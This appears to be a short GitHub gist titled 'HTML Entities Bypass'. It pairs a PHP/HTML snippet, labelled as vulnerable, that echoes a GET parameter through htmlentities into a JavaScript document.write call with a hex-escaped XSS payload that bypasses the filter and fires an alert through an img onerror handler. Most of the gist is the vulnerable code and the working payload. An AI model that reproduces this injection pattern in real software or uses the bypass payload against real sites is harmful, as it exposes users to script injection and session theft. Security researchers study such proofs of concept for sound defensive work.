Created
May 19, 2019 15:02
-
-
Save starcoder017/4e322e453f0f10e5795396f684feb591 to your computer and use it in GitHub Desktop.
HTML Entities Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<!-- Vulnerable Code--> | |
<html> | |
<body> | |
<script> | |
document.write("<?php $xs=$_GET['payload']; echo htmlentities($xs);?>"); | |
</script> | |
</body> | |
</html> | |
<!--Payload To Bypass XSS Filter | |
\x3Cimg%20src\x3Dx%20onerror\x3Dalert(323)\x3E | |
Credit: @Karel_Origin | |
--> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment